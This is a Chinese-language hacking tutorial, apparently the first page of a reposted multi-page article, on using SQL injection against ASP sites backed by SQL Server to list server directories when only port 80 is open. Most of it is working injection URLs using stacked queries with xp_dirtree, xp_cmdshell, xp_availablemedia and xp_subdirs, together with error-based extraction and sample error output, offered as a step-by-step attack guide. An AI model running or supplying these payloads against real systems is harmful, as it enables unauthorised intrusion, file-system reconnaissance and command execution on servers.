如果网站只开了80端口,你会发现下面的方法是比较有用的,其中用的方法几乎都不是我发现的,文中包括一些注入时的个人经验和技巧 ,方法可以说有4种(现在已知的) 第一种方法: 这个是<<怪异的SQL注入>>中介绍的方法 利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充) 建立表 语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 返回:正常的信息!说明建表成功!继续! (建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用 语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:' -- 返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了) 语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 '@Inetpub'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@Inetpub'))-- 返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 'test'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 好我们继续 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@Inetpub','test'))-- 返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 'haha'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧, 一点技巧: 有时候你会发现当输入类似 http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 时不是显示出错,而是网页显示正常 晕了吧,别紧张哈 看看0<>(select top 1 paths from dirs) 说明返回是一个数字, 哈哈,测试一下看看是多少吧 100>(select top 1 paths from dirs) 返回正常 哈哈,用这种大于小于的方法很快就能猜出了 好我们继续 比如当出现 59=(select top 1 paths from dirs) 返回正常, ok,说明名字是59 输入如下 http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '59'))-- 记得带上引号哟 下面的方法就和原来的一样的了 还有一个问题就是 有时候用上面的方法输入59时,发现下一次的文件夹还是59 这个是怎么回事情呢? 呵呵,不知道你有没有注意过059和59是一样的? 就是这个原因了,哈哈, http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '059'))-- 发现显示下一个文件夹名字了,ok 优缺点分析: 优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC, 缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的. 而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力. 祝你成功 方法二: 利用xp_cmdshell 哈哈,这个大家一定很熟悉了吧,我就简单说一下 建立表 语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 返回:正常的信息!说明建表成功!继续! (建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用 语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c: /B/D' -- 返回:正常信息。说明写入C盘的所有目录成功了!这里用了dir c: /B/D,哈哈,不知道/B/D什么作用就试验试验看 语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 '@Inetpub'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@Inetpub'))-- 返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 'test'转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 方法同上,就不说了 有时候我们也可以用下面的两个扩展来干些事情 1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中: 5 ;insert dirs exec master.dbo.xp_availablemedia;-- 我们可以通过查询temp的内容来获得驱动器列表及相关信息 (2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中: 5 ;insert into dirs exec master.dbo.xp_subdirs 'c:' ;-- 优缺点分析: 很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了. 缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).
[1] [2] [3] 下一页 (编辑:好传媒网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|